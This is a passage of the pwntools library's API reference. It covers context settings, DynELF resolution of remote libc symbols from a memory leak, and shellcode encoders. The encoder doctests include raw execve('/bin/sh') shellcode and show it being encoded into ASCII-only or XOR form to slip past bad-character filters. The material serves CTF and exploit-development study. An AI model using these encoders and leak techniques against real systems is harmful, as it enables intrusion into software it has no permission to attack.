>>> context.bytes = 0 #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (0)
```

cache_dir

Directory used for caching data.

Note: May be either a path string, or `None`.

Example

```
>>> cache_dir = context.cache_dir
>>> cache_dir is not None
True
>>> os.chmod(cache_dir, 0o000)
>>> del context._tls['cache_dir']
>>> context.cache_dir is None
True
>>> os.chmod(cache_dir, 0o755)
>>> cache_dir == context.cache_dir
True
```

cache_dir_base
Base directory to use for caching content.

Changing this to a different value will clear the *cache_dir* path stored in TLS since a new path will need to be generated to respect the new *cache_dir_base* value.

cyclic_alphabet
Cyclic alphabet.

Default value is *string.ascii_lowercase*.

cyclic_size
Cyclic pattern size.

Default value is *4*.

defaults = {'adb_host': 'localhost', 'adb_port': 5037, 'arch': 'i386', 'aslr': Tru
Default values for `pwnlib.context.ContextType`

delete_corefiles
Whether pwntools automatically deletes corefiles after exiting. This only affects corefiles accessed via `process.corefile`.

Default value is `False`.

device
Sets the device being operated on.

endian
Endianness of the target machine.

The default value is `'little'`, but changes according to `arch`.

Raises `AttributeError` – An invalid endianness was provided

Examples

```
>>> context.clear()
>>> context.endian == 'little'
True
```

```
>>> context.endian = 'big'
>>> context.endian
'big'
```

```
>>> context.endian = 'be'
>>> context.endian == 'big'
True
```

```
>>> context.endian = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
 ...
AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little
↪']
```

endianness
Legacy alias for `endian`.

Examples

```
>>> context.endian == context.endianness
True
```

endiannesses = {'be': 'big', 'big': 'big', 'eb': 'big', 'el': 'little', 'le': 'li

Valid values for *endian*

gdbinit

Path to the gdbinit that is used when running GDB locally.

This is useful if you want pwntools-launched GDB to include some additional modules, like PEDA but you do not want to have GDB include them by default.

The setting will only apply when GDB is launched locally since remote hosts may not have the necessary requirements for the gdbinit.

If set to an empty string, GDB will use the default *~/.gdbinit*.

Default value is `""`.

kernel

Target machine's kernel architecture.

Usually, this is the same as `arch`, except when running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64).

Even then, this doesn't matter much – only when the the segment registers need to be known

log_console

Sets the default logging console target.

Examples

```
>>> context.log_level = 'warn'
>>> log.warn("Hello")
[!] Hello
>>> context.log_console=open('/dev/null', 'w')
>>> log.warn("Hello")
>>> context.clear()
```

log_file

Sets the target file for all logging output.

Works in a similar fashion to *log_level*.

Examples

```
>>> foo_txt = tempfile.mktemp()
>>> bar_txt = tempfile.mktemp()
>>> context.log_file = foo_txt
>>> log.debug('Hello!')
>>> with context.local(log_level='ERROR'): #doctest: +ELLIPSIS
...     log.info('Hello again!')
>>> with context.local(log_file=bar_txt):
...     log.debug('Hello from bar!')
>>> log.info('Hello from foo!')
```

(continues on next page)

(continued from previous page)

```
>>> open(foo_txt).readlines()[-3] #doctest: +ELLIPSIS
'...:DEBUG:...:Hello!\n'
>>> open(foo_txt).readlines()[-2] #doctest: +ELLIPSIS
'...:INFO:...:Hello again!\n'
>>> open(foo_txt).readlines()[-1] #doctest: +ELLIPSIS
'...:INFO:...:Hello from foo!\n'
>>> open(bar_txt).readlines()[-1] #doctest: +ELLIPSIS
'...:DEBUG:...:Hello from bar!\n'
```

log_level

Sets the verbosity of `pwntools` logging mechanism.

More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.

Valid values are specified by the standard Python `logging` module.

Default value is set to `INFO`.

Examples

```
>>> context.log_level = 'error'
>>> context.log_level == logging.ERROR
True
>>> context.log_level = 10
>>> context.log_level = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG',
↪'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
```

newline

Line ending used for Tubes by default.

This configures the newline emitted by e.g. `sendline` or that is used as a delimiter for e.g. `recvline`.

noptrace

Disable all actions which rely on ptrace.

This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger).

This option can be set with the `NOPTRACE` command-line argument.

os

Operating system of the target machine.

The default value is `linux`.

Allowed values are listed in *pwnlib.context.ContextType.oses*.

Examples

```
>>> context.os = 'linux'
>>> context.os = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
```

(continues on next page)

(continued from previous page)

```
...
AttributeError: os must be one of ['android', 'baremetal', 'cgc', 'freebsd',
↪'linux', 'windows']
```

oses = ['android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows']
Valid values for *pwnlib.context.ContextType.os()*

proxy
Default proxy for all socket connections.

Accepts either a string (hostname or IP address) for a SOCKS5 proxy on the default port, **or** a `tuple` passed to `socks.set_default_proxy`, e.g. `(socks.SOCKS4, 'localhost', 1234)`.

```
>>> context.proxy = 'localhost' #doctest: +ELLIPSIS
>>> r=remote('google.com', 80)
Traceback (most recent call last):
...
ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno␣
↪111] Connection refused
```

```
>>> context.proxy = None
>>> r=remote('google.com', 80, level='error')
```

quiet
Disables all non-error logging within the enclosed scope, *unless* the debugging level is set to 'debug' or lower.

Example

Let's assume the normal situation, where log_level is INFO.

```
>>> context.clear(log_level='info')
```

Note that only the log levels below ERROR do not print anything.

```
>>> with context.quiet:
...     log.debug("DEBUG")
...     log.info("INFO")
...     log.warn("WARN")
```

Next let's try with the debugging level set to 'debug' before we enter the context handler:

```
>>> with context.local(log_level='debug'):
...     with context.quiet:
...         log.debug("DEBUG")
...         log.info("INFO")
...         log.warn("WARN")
[DEBUG] DEBUG
[*] INFO
[!] WARN
```

randomize
Global flag that lots of things should be randomized.

rename_corefiles
Whether pwntools automatically renames corefiles.

This is useful for two things:

- Prevent corefiles from being overwritten, if `kernel.core_pattern` is something simple like `"core"`.
- Ensure corefiles are generated, if `kernel.core_pattern` uses `apport`, which refuses to overwrite any existing files.

This only affects corefiles accessed via *process.corefile*.

Default value is `True`.

sign

Alias for *signed*

signed

Signed-ness for packing operation when it's not explicitly set.

Can be set to any non-string truthy value, or the specific string values `'signed'` or `'unsigned'` which are converted into `True` and `False` correspondingly.

Examples

```
>>> context.signed
False
>>> context.signed = 1
>>> context.signed
True
>>> context.signed = 'signed'
>>> context.signed
True
>>> context.signed = 'unsigned'
>>> context.signed
False
>>> context.signed = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or␣
↪a non-string truthy value
```

signedness

Alias for *signed*

signednesses = {'no': False, 'signed': True, 'unsigned': False, 'yes': True}

Valid string values for *signed*

silent

Disable all non-error logging within the enclosed scope.

terminal

Default terminal used by *pwnlib.util.misc.run_in_new_terminal()*. Can be a string or an iterable of strings. In the latter case the first entry is the terminal and the rest are default arguments.

timeout

Default amount of time to wait for a blocking operation before it times out, specified in seconds.

The default value is to have an infinite timeout.

See *pwnlib.timeout.Timeout* for additional information on valid values.

verbose

Enable all logging within the enclosed scope.

This is the opposite of *quiet* and functionally equivalent to:

```
with context.local(log_level='debug'):
    ...
```

Example

Note that the function does not emit any information by default

```
>>> context.clear()
>>> def func(): log.debug("Hello")
>>> func()
```

But if we put it inside a *verbose* context manager, the information is printed.

```
>>> with context.verbose: func()
[DEBUG] Hello
```

word_size

Alias for *bits*

class pwnlib.context.**Thread**(**args*, ***kwargs*)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as *pwnlib.context.Thread* and on the context singleton object inside the context module as *pwnlib.context.context.Thread*.

Threads created by using the native :class'threading'.Thread' will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print(context.arch)
...     context.arch = 'mips'
...     print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
```

(continues on next page)

(continued from previous page)

```
>>> _=(t.start(), t.join())
arm
mips
>>> # Again, the main thread is unchanged
>>> print(context.arch)
arm
```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

`_Thread__bootstrap``()`

Implementation Details: This only works because the class is named `Thread`. If its name is changed, we have to implement this hook differently.

`__init__``(*args, **kwargs)`

This constructor should always be called with keyword arguments. Arguments are:

group should be None; reserved for future extension when a ThreadGroup class is implemented.

target is the callable object to be invoked by the run() method. Defaults to None, meaning nothing is called.

name is the thread name. By default, a unique name is constructed of the form "Thread-N" where N is a small decimal number.

args is the argument tuple for the target invocation. Defaults to ().

kwargs is a dictionary of keyword arguments for the target invocation. Defaults to {}.

If a subclass overrides the constructor, it must make sure to invoke the base class constructor (Thread.__init__()) before doing anything else to the thread.

`_bootstrap``()`

Implementation Details: This only works because the class is named `Thread`. If its name is changed, we have to implement this hook differently.

`pwnlib.context.`**`context = ContextType()`**

Global `ContextType` object, used to store commonly-used pwntools settings.

In most cases, the context is used to infer default variables values. For example, `asm()` can take an `arch` parameter as a keyword argument.

If it is not supplied, the `arch` specified by `context` is used instead.

Consider it a shorthand to passing `os=` and `arch=` to every single function call.

2.9 `pwnlib.dynelf` — Resolving remote functions using leaks

Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

Example

```
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s", address, enhex(data or ''))
    return data

# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')      == system
```

DynELF

class `pwnlib.dynelf.`**`DynELF`**(*leak*, *pointer=None*, *elf=None*, *libcdb=True*)

DynELF knows how to resolve symbols in remote processes via an infoleak or memleak vulnerability encapsulated by *`pwnlib.memleak.MemLeak`*.

Implementation Details:

Resolving Functions:

In all ELFs which export symbols for importing by other libraries, (e.g. `libc.so`) there are a series of tables which give exported symbol names, exported symbol addresses, and the `hash` of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., `'printf'`), it can be located in the hash table. Its location in the hash table provides an index into the string name table (strtab), and the symbol address (symtab).

Assuming we have the base address of `libc.so`, the way to resolve the address of `printf` is to locate the `symtab`, `strtab`, and hash table. The string `"printf"` is hashed according to the style of the hash table (SYSV or GNU), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into `libc.so` from the `symtab`.

Resolving Library Addresses:

If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the link map. This is a linked list structure which contains information about each loaded library, including its full path and base address.

A pointer to the `link map` can be found in two ways. Both are referenced from entries in the DYNAMIC array.

- In non-RELRO binaries, a pointer is placed in the .got.plt area in the binary. This is marked by finding the DT_PLTGOT area in the binary.
- In all binaries, a pointer can be found in the area described by the DT_DEBUG area. This exists even in stripped binaries.

For maximum flexibility, both mechanisms are used exhaustively.

Instantiates an object which can resolve symbols in a running binary given a *pwnlib.memleak.MemLeak* leaker and a pointer inside the binary.

Parameters

- **leak** (`MemLeak`) – Instance of pwnlib.memleak.MemLeak for leaking memory
- **pointer** (*int*) – A pointer into a loaded ELF file
- **elf** (*str*, `ELF`) – Path to the ELF file on disk, or a loaded `pwnlib.elf.ELF`.
- **libcdb** (*bool*) – Attempt to use libcdb to speed up libc lookups

__init__(*leak*, *pointer=None*, *elf=None*, *libcdb=True*)
Instantiates an object which can resolve symbols in a running binary given a *pwnlib.memleak.MemLeak* leaker and a pointer inside the binary.

Parameters

- **leak** (`MemLeak`) – Instance of pwnlib.memleak.MemLeak for leaking memory
- **pointer** (*int*) – A pointer into a loaded ELF file
- **elf** (*str*, `ELF`) – Path to the ELF file on disk, or a loaded `pwnlib.elf.ELF`.
- **libcdb** (*bool*) – Attempt to use libcdb to speed up libc lookups

_dynamic_load_dynelf(*libname*) → DynELF
Looks up information about a loaded library via the link map.

Parameters **libname** (*str*) – Name of the library to resolve, or a substring (e.g. 'libc.so')

Returns A DynELF instance for the loaded library, or None.

_find_dt(*tag*)
Find an entry in the DYNAMIC array.

Parameters **tag** (*int*) – Single tag to find

Returns Pointer to the data described by the specified entry.

_find_dynamic_phdr()
Returns the address of the first Program Header with the type PT_DYNAMIC.

_find_linkmap(*pltgot=None*, *debug=None*)
The linkmap is a chained structure created by the loader at runtime which contains information on the names and load addresses of all libraries.

For non-RELRO binaries, a pointer to this is stored in the .got.plt area.

For RELRO binaries, a pointer is additionally stored in the DT_DEBUG area.

_find_linkmap_assisted(*path*)
Uses an ELF file to assist in finding the link_map.

_find_mapped_pages(*readonly=False*, *page_size=4096*)
A generator of all mapped pages, as found using the Program Headers.

Yields tuples of the form: (virtual address, memory size)

_lookup(*symb*)
Performs the actual symbol lookup within one ELF file.

_make_absolute_ptr(*ptr_or_offset*)
For shared libraries (or PIE executables), many ELF fields may contain offsets rather than actual pointers. If the ELF type is 'DYN', the argument may be an offset. It will not necessarily be an offset, because the run-time linker may have fixed it up to be a real pointer already. In this case an educated guess is made, and the ELF base address is added to the value if it is determined to be an offset.

_resolve_symbol_gnu(*libbase*, *symb*, *hshtab*, *strtab*, *symtab*)

Internal Documentation: The GNU hash structure is a bit more complex than the normal hash structure.

Again, Oracle has good documentation. https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections

You can force an ELF to use this type of symbol table by compiling with 'gcc -Wl,–hash-style=gnu'

_resolve_symbol_sysv(*libbase*, *symb*, *hshtab*, *strtab*, *symtab*)

Internal Documentation: See the ELF manual for more information. Search for the phrase "A hash table of Elf32_Word objects supports symbol table access", or see: https://docs.oracle.com/cd/E19504-01/802-6319/6ia12qkfo/index.html#chapter6-48031

```
struct Elf_Hash {
    uint32_t nbucket;
    uint32_t nchain;
    uint32_t bucket[nbucket];
    uint32_t chain[nchain];
}
```

You can force an ELF to use this type of symbol table by compiling with 'gcc -Wl,–hash-style=sysv'

bases()
Resolve base addresses of all loaded libraries.

Return a dictionary mapping library path to its base address.

dump(*libs = False*, *readonly = False*)
Dumps the ELF's memory pages to allow further analysis.

Parameters

- **libs** (*bool, optional*) – True if should dump the libraries too (False by default)
- **readonly** (*bool, optional*) – True if should dump read-only pages (False by default)

Returns *a dictionary of the form* – { address : bytes }

static find_base(*leak*, *ptr*)
Given a `pwnlib.memleak.MemLeak` object and a pointer into a library, find its base address.

heap()
Finds the beginning of the heap via __curbrk, which is an exported symbol in the linker, which points to the current brk.

lookup(*symb = None*, *lib = None*) → int
Find the address of `symbol`, which is found in `lib`.

Parameters

- **symb** (*str*) – Named routine to look up If omitted, the base address of the library will be returned.
- **lib** (*str*) – Substring to match for the library name. If omitted, the current library is searched. If set to `'libc'`, `'libc.so'` is assumed.

Returns Address of the named symbol, or `None`.

stack()
Finds a pointer to the stack via __environ, which is an exported symbol in libc, which points to the environment block.

__weakref__
list of weak references to the object (if defined)

dynamic
Returns: Pointer to the `.DYNAMIC` area.

elfclass
32 or 64

elftype
e_type from the elf header. In practice the value will almost always be 'EXEC' or 'DYN'. If the value is architecture-specific (between ET_LOPROC and ET_HIPROC) or invalid, KeyError is raised.

libc
Leak the Build ID of the remote libc.so, download the file, and load an `ELF` object with the correct base address.

Returns An ELF object, or None.

link_map
Pointer to the runtime link_map object

`pwnlib.dynelf.`**gnu_hash**(*str*) → int
Function used to generated GNU-style hashes for strings.

`pwnlib.dynelf.`**sysv_hash**(*str*) → int
Function used to generate SYSV-style hashes for strings.

2.10 `pwnlib.encoders` — Encoding Shellcode

`pwnlib.encoders.encoder.`**alphanumeric**(*raw_bytes*) → str
Encode the shellcode `raw_bytes` such that it does not contain any bytes except for [A-Za-z0-9].

Accepts the same arguments as *encode()*.

`pwnlib.encoders.encoder.`**encode**(*raw_bytes*, *avoid*, *expr*, *force*) → str
Encode shellcode `raw_bytes` such that it does not contain any bytes in `avoid` or `expr`.

Parameters

- **raw_bytes** (*str*) – Sequence of shellcode bytes to encode.

- **avoid** (*str*) – Bytes to avoid
- **expr** (*str*) – Regular expression which matches bad characters.
- **force** (*bool*) – Force re-encoding of the shellcode, even if it doesn't contain any bytes in `avoid`.

`pwnlib.encoders.encoder.`**`line`**`(`*raw_bytes*`)` → str

Encode the shellcode `raw_bytes` such that it does not contain any NULL bytes or whitespace.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.`**`null`**`(`*raw_bytes*`)` → str

Encode the shellcode `raw_bytes` such that it does not contain any NULL bytes.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.`**`printable`**`(`*raw_bytes*`)` → str

Encode the shellcode `raw_bytes` such that it only contains non-space printable bytes.

Accepts the same arguments as `encode()`.

`pwnlib.encoders.encoder.`**`scramble`**`(`*raw_bytes*`)` → str

Encodes the input data with a random encoder.

Accepts the same arguments as `encode()`.

Encoder to convert shellcode to shellcode that contains only ascii characters

class `pwnlib.encoders.i386.ascii_shellcode.`**`AsciiShellcodeEncoder`**`(`*slop=20*, *max_subs=4*`)`

Pack shellcode into only ascii characters that unpacks itself and executes (on the stack)

The original paper this encoder is based on: http://julianor.tripod.com/bc/bypass-msb.txt

A more visual explanation as well as an implementation in C: https://github.com/VincentDary/PolyAsciiShellGen/blob/master/README.md#mechanism

Init

Parameters

- **slop** (*int, optional*) – The amount esp will be increased by in the allocation phase (In addition to the length of the packed shellcode) as well as defines the size of the NOP sled (you can increase/ decrease the size of the NOP sled by adding/removing b'P'-s to/ from the end of the packed shellcode). Defaults to 20.
- **max_subs** (*int, optional*) – The maximum amount of subtractions allowed to be taken. This may be increased if you have a relatively restrictive `avoid` set. The more subtractions there are, the bigger the packed shellcode will be. Defaults to 4.

`__call__``(`***kw*`)`

Pack shellcode into only ascii characters that unpacks itself and executes (on the stack)

Parameters

- **raw_bytes** (*bytes*) – The shellcode to be packed
- **avoid** (*set, optional*) – Characters to avoid. Defaults to allow printable ascii (0x21-0x7e).
- **pcreg** (*NoneType, optional*) – Ignored

Raises

- **RuntimeError** – A required character is in `avoid` (required characters are characters which assemble into assembly instructions and are used to unpack the shellcode onto the stack, more details in the paper linked above `\ - % T X P`).
- **RuntimeError** – Not supported architecture
- **ArithmeticError** – The allowed character set does not contain two characters that when they are bitwise-anded with eachother their result is 0
- **ArithmeticError** – Could not find a correct subtraction sequence to get to the the desired target value with the given `avoid` parameter

Returns *bytes* – The packed shellcode

Examples

```
>>> context.update(arch='i386', os='linux')
>>> sc = b"\x83\xc4\x181\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/
↪dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x80j\x17X1\xdb\xcd\x80j.
↪XS\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
>>> encoders.i386.ascii_shellcode.encode(sc)
b'TX-!!!!-"_``-~~~~~P\\%!!!!%@@@@-!6!!-V~!!-~~<-P-!mha-a~~~P-!!L`-a^~~-~~~~~P-!!
↪if-9`~~P-!!!!-aOaf-~~~~P-!&!<-!~`~--~~~P-!!!!-!!H^-+A~~P-U!![-~A1~P-,<V!-~~~
↪!-~~~GP-!2!8-j~O~P-!]!!-!~!r-y~w~P-c!!!-~<(+P-N!_W-~1~~P-!!]!-Mn~!-~~~<P-!<!
↪!-r~!P-~~x~P-fe!$-~~S~-~~~~P-!!\'$-%z~~P-A!!!-~!#!-~*~=P-!7!!-T~!!-~~E^
↪PPPPPPPPPPPPPPPPPPPPP'
>>> avoid = {'\x00', '\x83', '\x04', '\x87', '\x08', '\x8b', '\x0c', '\x8f',
↪'\x10', '\x93', '\x14', '\x97', '\x18', '\x9b', '\x1c', '\x9f', ' ', '\xa3',
↪ '\xa7', '\xab', '\xaf', '\xb3', '\xb7', '\xbb', '\xbf', '\xc3', '\xc7',
↪'\xcb', '\xcf', '\xd3', '\xd7', '\xdb', '\xdf', '\xe3', '\xe7', '\xeb',
↪'\xef', '\xf3', '\xf7', '\xfb', '\xff', '\x80', '\x03', '\x84', '\x07',
↪'\x88', '\x0b', '\x8c', '\x0f', '\x90', '\x13', '\x94', '\x17', '\x98',
↪'\x1b', '\x9c', '\x1f', '\xa0', '\xa4', '\xa8', '\xac', '\xb0', '\xb4',
↪'\xb8', '\xbc', '\xc0', '\xc4', '\xc8', '\xcc', '\xd0', '\xd4', '\xd8',
↪'\xdc', '\xe0', '\xe4', '\xe8', '\xec', '\xf0', '\xf4', '\xf8', '\xfc',
↪'\x7f', '\x81', '\x02', '\x85', '\x06', '\x89', '\n', '\x8d', '\x0e', '\x91
↪', '\x12', '\x95', '\x16', '\x99', '\x1a', '\x9d', '\x1e', '\xa1', '\xa5',
↪'\xa9', '\xad', '\xb1', '\xb5', '\xb9', '\xbd', '\xc1', '\xc5', '\xc9',
↪'\xcd', '\xd1', '\xd5', '\xd9', '\xdd', '\xe1', '\xe5', '\xe9', '\xed',
↪'\xf1', '\xf5', '\xf9', '\xfd', '\x01', '\x82', '\x05', '\x86', '\t', '\x8a
↪', '\r', '\x8e', '\x11', '\x92', '\x15', '\x96', '\x19', '\x9a', '\x1d',
↪'\x9e', '\xa2', '\xa6', '\xaa', '\xae', '\xb2', '\xb6', '\xba', '\xbe',
↪'\xc2', '\xc6', '\xca', '\xce', '\xd2', '\xd6', '\xda', '\xde', '\xe2',
↪'\xe6', '\xea', '\xee', '\xf2', '\xf6', '\xfa', '\xfe'}
>>> sc = shellcraft.echo("Hello world") + shellcraft.exit()
>>> ascii = encoders.i386.ascii_shellcode.encode(asm(sc), avoid)
>>> ascii += asm('jmp esp') # just for testing, the unpacker should also run␣
↪on the stack
>>> ELF.from_bytes(ascii).process().recvall()
b'Hello world'
```

_calc_subtractions(***kw*)

Given *target* and *last*, return a list of integers that when subtracted from *last* will equal *target* while only constructing integers from bytes in *vocab*

int_size is taken from the context

Parameters

- **last** (*bytearray*) – Original value
- **target** (*bytearray*) – Desired value
- **vocab** (*bytearray*) – Allowed characters

Raises **ArithmeticError** – If a sequence of subtractions could not be found

Returns *List[bytearray]* – List of numbers that would need to be subtracted from *last* to get to *target*

Examples

```
>>> context.update(arch='i386', os='linux')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?
↪@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b
↪'\x10'*4), bytearray(b'\x11'*4), vocab))
[bytearray(b'!!!!'), bytearray(b'`___'), bytearray(b'~~~~')]
>>> print(encoders.i386.ascii_shellcode.encode._calc_subtractions(bytearray(b
↪'\x11\x12\x13\x14'), bytearray(b'\x15\x16\x17\x18'), vocab))
[bytearray(b'~}}}'), bytearray(b'~~~~')]
```

_find_negatives (***kw*)

Find two bitwise negatives in the vocab so that when they are and-ed the result is 0.

int_size is taken from the context

Parameters **vocab** (*bytearray*) – Allowed characters

Returns *Tuple[int, int]* – value A, value B

Raises **ArithmeticError** – The allowed character set does not contain two characters that when they are bitwise-and-ed with eachother the result is 0

Examples

```
>>> context.update(arch='i386', os='linux')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?
↪@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> a, b = encoders.i386.ascii_shellcode.encode._find_negatives(vocab)
>>> a & b
0
```

_get_allocator (***kw*)

Allocate enough space on the stack for the shellcode

int_size is taken from the context

Parameters

- **size** (*int*) – The allocation size
- **vocab** (*bytearray*) – Allowed characters

Returns *bytearray* – The allocator shellcode

Examples

```
>>> context.update(arch='i386', os='linux')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?
↪@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> encoders.i386.ascii_shellcode.encode._get_allocator(300, vocab)
bytearray(b'TX-!!!!-!_``-t~~~P\\%!!!!%@@@@')
```

_get_subtractions(***kw*)

Covert the sellcode to sub eax and posh eax instructions

int_size is taken from the context

Parameters

- **shellcode** (*bytearray*) – The shellcode to pack
- **vocab** (*bytearray*) – Allowed characters

Returns *bytearray* – packed shellcode

Examples

```
>>> context.update(arch='i386', os='linux')
>>> sc = bytearray(b'ABCDEFGHIGKLMNOPQRSTUVXYZ')
>>> vocab = bytearray(b'!"#$%&\'()*+,-./0123456789:;<=>?
↪@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~')
>>> encoders.i386.ascii_shellcode.encode._get_subtractions(sc, vocab)
bytearray(b'-(!!!-~NNNP-!=;:-f~~~-~~~~P-!!!!-edee-~~~~P-!!!!-eddd-~~~~P-!!!!-
↪egdd-~~~~P-!!!!-eadd-~~~~P-!!!!-eddd-~~~~P')
```

class pwnlib.encoders.i386.xor.**i386XorEncoder**

Generates an XOR decoder for i386.

```
>>> context.clear(arch='i386')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = b'/bin/sh\xcc\xcd\x80'
>>> encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
>>> encoders.i386.xor.encode(asm(shellcraft.execve('/bin/sh')),␣
↪avoid=bytearray([0x31]))
b'\xd9\xd0\xd9t$\xf4^
↪\xfcj\x07Y\x83\xc6\x19\x89\xf7\xad\x93\xad1\xd8\xabIu\xf7\x00\x00\x00\x00h\x01\x01\x01\x00\x00
↪$\x00\x00\x00\x00.ri\x01\x00\x00\x00\x00h/
↪bi\x00\x00\x00\x01n\x89\xe30\x00\x01\x00\x00\xc90\xd2j\x00\x00\x00\x00\x0bX\xcd\x80
↪'
```

Shellcode encoder class

Implements an architecture-specific shellcode encoder

__call__(*raw_bytes, avoid, pcreg=''*)

avoid(raw_bytes, avoid)

Parameters

- **raw_bytes** (*str*) – String of bytes to encode
- **avoid** (*set*) – Set of bytes to avoid
- **pcreg** (*str*) – Register which contains the address of the shellcode. May be necessary for some shellcode.

class pwnlib.encoders.i386.delta.**i386DeltaEncoder**

i386 encoder built on delta-encoding.

In addition to the loader stub, doubles the size of the shellcode.

Example

```
>>> sc = pwnlib.encoders.i386.delta.encode(b'\xcc', b'\x00\xcc')
>>> e  = ELF.from_bytes(sc)
>>> e.process().poll(True)
-5
```

Shellcode encoder class

Implements an architecture-specific shellcode encoder

__call__(*raw_bytes*, *avoid*, *pcreg=''*)

avoid(raw_bytes, avoid)

Parameters

- **raw_bytes** (*str*) – String of bytes to encode
- **avoid** (*set*) – Set of bytes to avoid
- **pcreg** (*str*) – Register which contains the address of the shellcode. May be necessary for some shellcode.

class pwnlib.encoders.arm.xor.**ArmXorEncoder**

Generates an XOR decoder for ARM.

```
>>> context.clear(arch='arm')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = b'binsh\x00\n'
>>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
```

Shellcode encoder class

Implements an architecture-specific shellcode encoder

__call__(*raw_bytes*, *avoid*, *pcreg=''*)

avoid(raw_bytes, avoid)

Parameters

- **raw_bytes** (*str*) – String of bytes to encode
- **avoid** (*set*) – Set of bytes to avoid
- **pcreg** (*str*) – Register which contains the address of the shellcode. May be necessary for some shellcode.

class pwnlib.encoders.mips.xor.**MipsXorEncoder**

Generates an XOR decoder for MIPS.

```
>>> context.clear(arch='mips')
>>> shellcode = asm(shellcraft.sh())
>>> avoid = b'/bin/sh\x00'
>>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)
>>> assert not any(c in encoded for c in avoid)
>>> p = run_shellcode(encoded)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
b'hello\n'
```

Shellcode encoder class

Implements an architecture-specific shellcode encoder

__call__(*raw_bytes*, *avoid*, *pcreg=''*)

avoid(raw_bytes, avoid)

Parameters

- **raw_bytes** (*str*) – String of bytes to encode
- **avoid** (*set*) – Set of bytes to avoid
- **pcreg** (*str*) – Register which contains the address of the shellcode. May be necessary for some shellcode.

2.11 pwnlib.elf.config — Kernel Config Parsing

Kernel-specific ELF functionality

pwnlib.elf.config.**parse_kconfig**(*data*)

Parses configuration data from a kernel .config.

Parameters **data** (*str*) – Configuration contents.

Returns A dict mapping configuration options. "Not set" is converted into None, y and n are converted into bool. Numbers are converted into int. All other values are as-is. Each key has CONFIG_ stripped from the beginning.

